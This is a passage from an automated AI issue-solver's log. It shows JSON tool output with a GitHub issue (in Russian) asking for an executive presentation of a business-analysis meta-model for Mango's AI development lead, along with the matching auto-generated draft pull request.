\u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044f).\\n5. **\u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u043a\u0430\u043a \u0446\u0435\u043b\u044c (\u041a\u043e\u043d\u0432\u0435\u0439\u0435\u0440):** \u041d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u2192 \u0421\u0432\u0435\u0440\u043a\u0430 \u0441 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0435\u0439/\u043a\u0435\u0439\u0441\u0430\u043c\u0438 \u2192 \u041c\u0430\u0448\u0438\u043d\u043d\u0430\u044f \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u043f\u043e \u0437\u043e\u043b\u043e\u0442\u044b\u043c \u0448\u0430\u0431\u043b\u043e\u043d\u0430\u043c \u0441\u043e \u0441\u0441\u044b\u043b\u043a\u0430\u043c\u0438 \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 \u2192 \u0427\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0439 \u0433\u0435\u0439\u0442 (G-human) \u2192 \u0410\u0432\u0442\u043e\u043f\u0435\u0440\u0435\u0432\u043e\u0434 \u0432 \u0444\u043e\u0440\u043c\u0430\u0442 \u0434\u043b\u044f \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430/\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438.\\n6. **\u0421\u0440\u0435\u0434\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f:** \u0422\u0435\u043a\u0443\u0449\u0438\u0439 \u043f\u0438\u043b\u043e\u0442 \u043d\u0430 \u0410\u0420\u041c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f (GigaCode CLI / Cline) \u2192 \u0412\u0435\u043a\u0442\u043e\u0440 \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u044f: \u0421\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u0440\u0435\u0434\u0430 (\u0421\u0440\u0435\u0434\u0430 4) \u0441 \u0435\u0434\u0438\u043d\u044b\u043c \u044f\u0434\u0440\u043e\u043c-\u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u043c.\\n7. **\u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435:** \u041a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0430 \u0432\u044b\u0445\u043e\u0434\u0430 \u043a\u0430\u043a \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u044f \u0431\u0435\u0441\u0448\u043e\u0432\u043d\u043e\u0439 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0443.\\n\\n*\u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u043a \u0441\u043b\u0430\u0439\u0434\u0443:* \u041d\u043e\u043c\u0435\u0440, \u0435\u043c\u043a\u0438\u0439 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\u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u0430\u044f \u0442\u043e\u0447\u043d\u043e\u0441\u0442\u044c \u0438 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435 \u043b\u0443\u0447\u0448\u0438\u043c \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0430\u043c \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0438 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u043e\u0432 \u0434\u043b\u044f C-level/Head of AI \u0430\u0443\u0434\u0438\u0442\u043e\u0440\u0438\u0438. \u041c\u044b \u043d\u0435 \u0432\u044b\u0434\u0443\u043c\u044b\u0432\u0430\u0435\u043c \u0432\u0435\u043b\u043e\u0441\u0438\u043f\u0435\u0434, \u0430 \u0430\u0434\u0430\u043f\u0442\u0438\u0440\u0443\u0435\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u0444\u043e\u0440\u043c\u0430\u0442\u044b \u043f\u043e\u0434 \u043d\u0430\u0448\u0443 \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0443.\\ntitle:\\t[WIP] title: \\\"[creative/docs] \u041f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0411\u0410 \u0438 \u0441\u0440\u0435\u0434 \u0435\u0451 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 Mango\\\"\\nstate:\\tDRAFT\\nauthor:\\tkonard (Konstantin Diachenko)\\nlabels:\\t\\nassignees:\\tkonard (Konstantin Diachenko)\\nreviewers:\\t\\nprojects:\\t\\nmilestone:\\t\\nnumber:\\t648\\nurl:\\thttps://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/648\\nadditions:\\t1\\ndeletions:\\t0\\nauto-merge:\\tdisabled\\n--\\n## \ud83e\udd16 AI-Powered Solution Draft\\n\\nThis pull request is being automatically generated to solve issue #646.\\n\\n### \ud83d\udccb Issue Reference\\nFixes #646\\n\\n### \ud83d\udea7 Status\\n**Work in Progress** - The AI assistant is currently analyzing and implementing the solution draft.\\n\\n### \ud83d\udcdd Implementation Details\\n_Details will be added as the solution draft is developed..._\\n\\n---\\n*This PR was created automatically by the AI issue solver*\\ncommit 611336aa85daea757b56bcbe7dbb14fdd0356d9f\\nAuthor: konard \\nDate:   Tue Sep 29 07:43:01 2026 +0000\\n\\n    Initial commit with task details\\n    \\n    Adding .gitkeep for PR creation (default mode).\\n    This file will be removed when the task is complete.\\n    \\n    Issue: https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\\n\\n .gitkeep | 1 +\\n 1 file changed, 1 insertion(+)\",\n[2026-09-29T07:43:42.041Z] [INFO]         \"is_error\": false\n[2026-09-29T07:43:42.041Z] [INFO]       }\n[2026-09-29T07:43:42.041Z] [INFO]     ]\n[2026-09-29T07:43:42.041Z] [INFO]   },\n[2026-09-29T07:43:42.041Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:43:42.041Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:43:42.041Z] [INFO]   \"uuid\": \"1f124a6d-cdab-4055-b2d5-def8a55d5317\",\n[2026-09-29T07:43:42.041Z] [INFO]   \"timestamp\": \"2026-09-29T07:43:42.029Z\",\n[2026-09-29T07:43:42.041Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:43:42.041Z] [INFO]     \"stdout\": \"title:\\ttitle: \\\"[creative/docs] \u041f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0411\u0410 \u0438 \u0441\u0440\u0435\u0434 \u0435\u0451 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 Mango\\\"\\nstate:\\tOPEN\\nauthor:\\tG-Ivan-A (Ivan Gulienko)\\nlabels:\\t\\ncomments:\\t0\\nassignees:\\t\\nprojects:\\t\\nmilestone:\\t\\nissue-type:\\t\\nparent:\\t\\nsub-issues:\\t\\nsub-issues-completed:\\t\\nblocked-by:\\t\\nblocking:\\t\\nnumber:\\t646\\n--\\n---\\nlabels: \\\"creative, documentation, presentation, executive-summary\\\"\\n---\\n\\n**Operating Mode:** `Creative` \u00b7 **Task Type:** `Documentation/Presentation` \u00b7 **Lead:** Tech Lead / Architect\\n\\n**User Story:**\\n\u041a\u0430\u043a \u0444\u0430\u0443\u043d\u0434\u0435\u0440, \u044f \u0445\u043e\u0447\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u043e\u0444\u0435\u0441\u0441\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u044b\u0439 \u043f\u0430\u043a\u0435\u0442 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u043e\u0432 \u0434\u043b\u044f \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0438 \u0441\u0440\u0435\u0434 \u0435\u0451 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0435\u0440\u0435\u0434 \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u0435\u043c \u043e\u0442\u0434\u0435\u043b\u0430 AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 Mango, \u0447\u0442\u043e\u0431\u044b \u0434\u043e\u043d\u0435\u0441\u0442\u0438 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u0443\u044e \u0437\u0440\u0435\u043b\u043e\u0441\u0442\u044c \u0440\u0435\u0448\u0435\u043d\u0438\u044f, \u0435\u0433\u043e \u0444\u0443\u043d\u0434\u0430\u043c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u043e\u0442\u043b\u0438\u0447\u0438\u044f \u043e\u0442 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u043f\u043e\u0434\u0445\u043e\u0434\u043e\u0432 \u0438 \u0447\u0435\u0442\u043a\u0438\u0439 \u043f\u043b\u0430\u043d \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u043e\u043f\u0438\u0440\u0430\u044f\u0441\u044c \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043e\u043f\u044b\u0442 \u043f\u0440\u043e\u0435\u043a\u0442\u0430.\\n\\n**\u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0438 \u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0438\u0441\u0442\u0438\u043d\u044b (SSOT):**\\n\u041f\u0435\u0440\u0435\u0434 \u043d\u0430\u0447\u0430\u043b\u043e\u043c \u0440\u0430\u0431\u043e\u0442\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c **\u043e\u0431\u044f\u0437\u0430\u043d** \u0438\u0437\u0443\u0447\u0438\u0442\u044c \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u044d\u0432\u043e\u043b\u044e\u0446\u0438\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u0430, \u0447\u0442\u043e\u0431\u044b \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u043e\u0442\u0440\u0430\u0436\u0430\u043b\u0430 \u043d\u0435 \u0430\u0431\u0441\u0442\u0440\u0430\u043a\u0442\u043d\u0443\u044e \u0442\u0435\u043e\u0440\u0438\u044e, \u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u0443\u044e \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u043e\u0439 \u044d\u0432\u043e\u043b\u044e\u0446\u0438\u044e:\\n1. **\u0422\u0435\u043a\u0443\u0449\u0430\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0425\u0430\u0431\u0430:** \\n   - `https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process` (\u0432\u043a\u043b\u044e\u0447\u0430\u044f `docs/adr/`, `docs/analysis/`, `meta-model/`).\\n   - \u041d\u0435\u0434\u0430\u0432\u043d\u0438\u0435 \u0430\u0443\u0434\u0438\u0442\u044b: `https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md`\\n2. **\u041f\u0440\u0435\u0434\u044b\u0441\u0442\u043e\u0440\u0438\u044f \u0438 \u044d\u043c\u043f\u0438\u0440\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0431\u0430\u0437\u0430 (\u0421 \u0447\u0435\u0433\u043e \u043d\u0430\u0447\u0438\u043d\u0430\u043b\u0438):**\\n   - \u0420\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 `https://github.com/G-Ivan-A/mango_ba_prompts` (\u0438\u0437\u0443\u0447\u0438\u0442\u044c \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443, \u044d\u0432\u043e\u043b\u044e\u0446\u0438\u044e \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u0438 \u0438\u0441\u0442\u043e\u0440\u0438\u044e \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c 60 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0437\u0430\u0434\u0430\u0447, \u043a\u0430\u043a \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430 \u043e\u0442 \u0445\u0430\u043e\u0442\u0438\u0447\u043d\u044b\u0445 \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0439 \u043c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u0438).\\n   - \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0411\u0410 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/issue-639-405767e7672e/research/ba-requirements\\n- \u043d\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u044f\u0441\u044c \u043f\u043e \u0443\u0441\u043c\u043e\u0442\u0440\u0435\u043d\u0438\u044e \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f\\n\\n**\u0426\u0435\u043b\u0438 \u0438 \u0433\u0440\u0430\u043d\u0438\u0446\u044b (\u0427\u0442\u043e \u0434\u043e\u043b\u0436\u043d\u043e \u0431\u044b\u0442\u044c \u0434\u043e\u0441\u0442\u0438\u0433\u043d\u0443\u0442\u043e):**\\n\u041d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u0438\u0442\u044c **\u0434\u0432\u0430 \u0432\u0437\u0430\u0438\u043c\u043e\u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430**, \u043d\u0435 \u0438\u0437\u043e\u0431\u0440\u0435\u0442\u0430\u044f \u0432\u0435\u043b\u043e\u0441\u0438\u043f\u0435\u0434, \u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043b\u0443\u0447\u0448\u0438\u0435 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u0439 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043f\u0440\u0438\u043d\u0446\u0438\u043f Assertion-Evidence, \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u0438\u0437\u043c \u0442\u0435\u043a\u0441\u0442\u0430, \u0432\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u0430\u044f \u043c\u0435\u0442\u0430\u0444\u043e\u0440\u0430).\\n\\n**\u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442 1: \u0428\u0430\u0431\u043b\u043e\u043d \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u0438 (\u0421\u043b\u0430\u0439\u0434\u044b)**\\n\u0421\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0432\u0435\u043a\u0442\u043e\u0440 (\u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0438 \u0438 \u0442\u043e\u0447\u043d\u044b\u0439 \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442 \u0441\u0430\u043c \u0434\u043b\u044f \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u043e\u0437\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f):\\n1. **\u041e\u0431\u043b\u0430\u0441\u0442\u044c \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u044f:** \u0411\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437 \u0432 \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u0445 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 (\u0432\u044b\u0441\u043e\u043a\u0430\u044f \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u044c, \u043a\u043e\u043c\u043f\u043b\u0430\u0435\u043d\u0441).\\n2. **\u0411\u043e\u043b\u044c:** \u0420\u0430\u0437\u0440\u044b\u0432 \u043c\u0435\u0436\u0434\u0443 \u0441\u044b\u0440\u044b\u043c\u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u0430\u043c\u0438 \u0438 \u0433\u043e\u0442\u043e\u0432\u044b\u043c \u0422\u0417, \u0440\u0443\u0447\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438, \u0440\u0438\u0441\u043a \u043f\u043e\u0442\u0435\u0440\u0438 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043e\u0432 \u0438 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430 \u043f\u0440\u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0435 \u0432 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0443.\\n3. **\u041a\u043e\u043d\u0446\u0435\u043f\u0446\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438:** \u0421\u0442\u0440\u043e\u0433\u0430\u044f \u0434\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u044f: \u041f\u0440\u043e\u0434\u0443\u043a\u0442 \u2192 \u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u2192 \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u2192 \u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442.\\n4. **\u041a\u043b\u044e\u0447\u0435\u0432\u043e\u0439 \u043f\u0440\u043e\u0440\u044b\u0432 (\u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u2192 \u0420\u0435\u0448\u0435\u043d\u0438\u0435):** \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430: \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u043f\u043b\u043e\u0445\u043e \u043f\u043e\u0434\u0434\u0430\u044e\u0442\u0441\u044f \u043f\u0440\u044f\u043c\u043e\u0439 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438 \u0418\u0418. \u0420\u0435\u0448\u0435\u043d\u0438\u0435: \u043c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \\\"\u043c\u044b\u0441\u043b\u044c\\\", \u043c\u044b \u043e\u0446\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u0435\u043c \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0438 \u043e\u0431\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u0435\u043c \u0438\u0445 \u0432 \u0436\u0435\u0441\u0442\u043a\u0438\u0435 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\u0440\u0435\u0448\u0435\u043d\u0438\u0438, \u0430 \u043d\u0435 \u043d\u0430 \u043c\u0430\u0440\u043a\u0435\u0442\u0438\u043d\u0433\u043e\u0432\u044b\u0445 \u043b\u043e\u0437\u0443\u043d\u0433\u0430\u0445).\\n- [ ] \u0412\u0441\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u0432 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0445 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043f\u043e\u043b\u043d\u044b\u043c\u0438 \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u044b\u043c\u0438 URL.\\n- [ ] \u0417\u0430\u0434\u0430\u0447\u0430 \u043f\u0435\u0440\u0435\u0432\u0435\u0434\u0435\u043d\u0430 \u0432 \u0441\u0442\u0430\u0442\u0443\u0441 `review`.\\n\\n**\u041e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u0438\u044f \u043e\u0442 \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 (\u0412\u0430\u0436\u043d\u043e):**\\n\u041f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u0437\u0430\u0434\u0430\u0435\u0442 \u0441\u043c\u044b\u0441\u043b\u043e\u0432\u043e\u0439 \u0432\u0435\u043a\u0442\u043e\u0440 \u0438 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0442\u0435\u043c\u044b. **\u0418\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0444\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435** \u043e \u0442\u043e\u043c, \u043a\u0430\u043a \u0438\u043c\u0435\u043d\u043d\u043e \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b, \u043a\u0430\u043a\u0438\u0435 \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u0432, \u043a\u0430\u043a \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u0434\u043b\u044f \u043a\u0430\u0440\u0442\u0438\u043d\u043e\u043a \u0438 \u043a\u0430\u043a \u0432\u044b\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u043d\u0430\u0440\u0440\u0430\u0442\u0438\u0432 \u0432 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438. \u041c\u0438\u043a\u0440\u043e\u043c\u0435\u043d\u0435\u0434\u0436\u043c\u0435\u043d\u0442 \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d. \u041f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442 \u2014 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u0430\u044f \u0443\u0431\u0435\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c, \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u0430\u044f \u0442\u043e\u0447\u043d\u043e\u0441\u0442\u044c \u0438 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435 \u043b\u0443\u0447\u0448\u0438\u043c \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0430\u043c \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0438 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u043e\u0432 \u0434\u043b\u044f C-level/Head of AI \u0430\u0443\u0434\u0438\u0442\u043e\u0440\u0438\u0438. \u041c\u044b \u043d\u0435 \u0432\u044b\u0434\u0443\u043c\u044b\u0432\u0430\u0435\u043c \u0432\u0435\u043b\u043e\u0441\u0438\u043f\u0435\u0434, \u0430 \u0430\u0434\u0430\u043f\u0442\u0438\u0440\u0443\u0435\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u0444\u043e\u0440\u043c\u0430\u0442\u044b \u043f\u043e\u0434 \u043d\u0430\u0448\u0443 \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0443.\\ntitle:\\t[WIP] title: \\\"[creative/docs] \u041f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0411\u0410 \u0438 \u0441\u0440\u0435\u0434 \u0435\u0451 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 Mango\\\"\\nstate:\\tDRAFT\\nauthor:\\tkonard (Konstantin Diachenko)\\nlabels:\\t\\nassignees:\\tkonard (Konstantin Diachenko)\\nreviewers:\\t\\nprojects:\\t\\nmilestone:\\t\\nnumber:\\t648\\nurl:\\thttps://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/648\\nadditions:\\t1\\ndeletions:\\t0\\nauto-merge:\\tdisabled\\n--\\n## \ud83e\udd16 AI-Powered Solution Draft\\n\\nThis pull request is being automatically generated to solve issue #646.\\n\\n### \ud83d\udccb Issue Reference\\nFixes #646\\n\\n### \ud83d\udea7 Status\\n**Work in Progress** - The AI assistant is currently analyzing and implementing the solution draft.\\n\\n### \ud83d\udcdd Implementation Details\\n_Details will be added as the solution draft is developed..._\\n\\n---\\n*This PR was created automatically by the AI issue solver*\\ncommit 611336aa85daea757b56bcbe7dbb14fdd0356d9f\\nAuthor: konard \\nDate:   Tue Sep 29 07:43:01 2026 +0000\\n\\n    Initial commit with task details\\n    \\n    Adding .gitkeep for PR creation (default mode).\\n    This file will be removed when the task is complete.\\n    \\n    Issue: https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\\n\\n .gitkeep | 1 +\\n 1 file changed, 1 insertion(+)\",\n[2026-09-29T07:43:42.041Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:43:42.041Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:43:42.041Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:43:42.041Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:43:42.041Z] [INFO]   }\n[2026-09-29T07:43:42.041Z] [INFO] }\n[2026-09-29T07:43:42.084Z] [STDOUT] [log_06ffad] sending request {\n[2026-09-29T07:43:42.087Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:43:42.089Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:43:42.093Z] [STDOUT]   options: {\n[2026-09-29T07:43:42.096Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:43:42.098Z] [STDOUT]     path: 